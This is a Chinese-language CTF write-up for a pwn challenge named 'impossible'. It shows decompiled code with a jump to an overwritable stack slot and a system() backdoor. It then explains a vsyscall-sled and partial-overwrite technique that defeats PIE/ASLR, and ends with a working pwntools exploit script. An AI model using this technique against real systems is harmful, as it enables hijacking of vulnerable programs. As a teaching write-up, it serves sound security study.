保护
分析
void __fastcall main(__int64 a1, char **a2, char **a3)
{
char buf; // [rsp+0h] [rbp-110h]
__int64 v4; // [rsp+40h] [rbp-D0h]
unsigned __int64 v5; // [rsp+108h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
write(1, "I don't have any vulnerability!\n", 0x20uLL);
write(1, "You don't buy it? Hack me please!\n", 0x22uLL);
read(0, &buf, 255uLL);
JUMPOUT(__CS__, v4);
}
- 主程序最后会跳转到v4指向的内存,而v4能够被输入的数据覆盖,这是一个利用点。然而麻烦的是保护全开了,但凡是PIE没有开启的情况下,这种题目秒解了。难怪叫做impossible,这下陷入了沉思。。。
- 随后还在程序中找到了一个后门:
unsigned __int64 back_door()
{
char buf; // [rsp+0h] [rbp-10h]
char v2; // [rsp+7h] [rbp-9h]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("that's impossible!");
read(0, &buf, 7uLL);
v2 = 0;
system(&buf);
return __readfsqword(0x28u) ^ v3;
}
-
我的第一想法就是能不能通过修改返回地址的低16位,有几率卡进后门。关键ASLR和PIE都开了,程序基址也会变化,唯独只有一处内存不会变化:
-
这是内核地址空间,dump下来放到IDA中看看:
* 提供了三个系统调用,依次是exit、time、getcpu。有必要在此说一下引入vsyscall的作用。
vsyscall要比普通的系统调用快很多,适用于精度要求很高或者时延要求很低的系统中。vsyscall内存区是静态的,这也带来了一些安全隐患,所以高于ubuntu16.04版本的系统都去掉了vsyscall。
-
看到这,我的想法就是能不能在栈中通过控制rax的值,然后调用execv()。
-
通过调试发现显然是不可能的,rax会不断的改变,不受我们的控制。我将v4覆盖为0xffffffffff600407,也就是vsyscall中的第一个syscall,结果程序就crash了。搜索了资料才知,原来vsyscall在调用的时候会检查是不是从起始地址执行。所以这里只能覆盖成0xffffffffff600000。
-
然后有趣的事情发生了,当我再次从vsyscall返回后,程序会执行栈中下一个地址指向的数据,因为我之前只填充到v4,所以后面并没有被覆盖,所以程序接下来crash是意料之内的结果
-
假如我们后续再填充0xffffffffff600000会怎么样呢?
-
此时发现,程序会执行多个vsyscall,并且都能顺利返回,也就是说栈能够保持平衡,且平滑的往后移动!
-
最后执行到异常地址,至死方休!!!!
-
这就有了!我们可以通过查看栈中什么位置存在正常的函数地址,并且能够在我们覆盖的范围之内。然后就可以利用vsyscall像滑雪橇一样滑到目标位置,修改低16位卡进后门!
-
通过观察,发现从我们输入的位置开始,偏移为0xd0处满足我们的要求,因此我们需要填充(0xd0/8+1)次。因为开启了PIE,所以要多次运行。
EXP
from pwn import *
while True:
try:
p = process('./impossible')
pay = p64(0xffffffffff600000) * 0x1b + p16(0x96b)
p.sendafter('please!', pay)
p.interactive()
except EOFError,e:
p.close()
总结
- 可见,当我们初始化一块内存或者声明一个数组时,清空操作是多么重要。这么一个不起眼的操作,可以在你疏忽了其他关键位置时候,尽量避免程序被劫持。假如程序中加入了清空栈的操作,那么这道题就真的impossible了!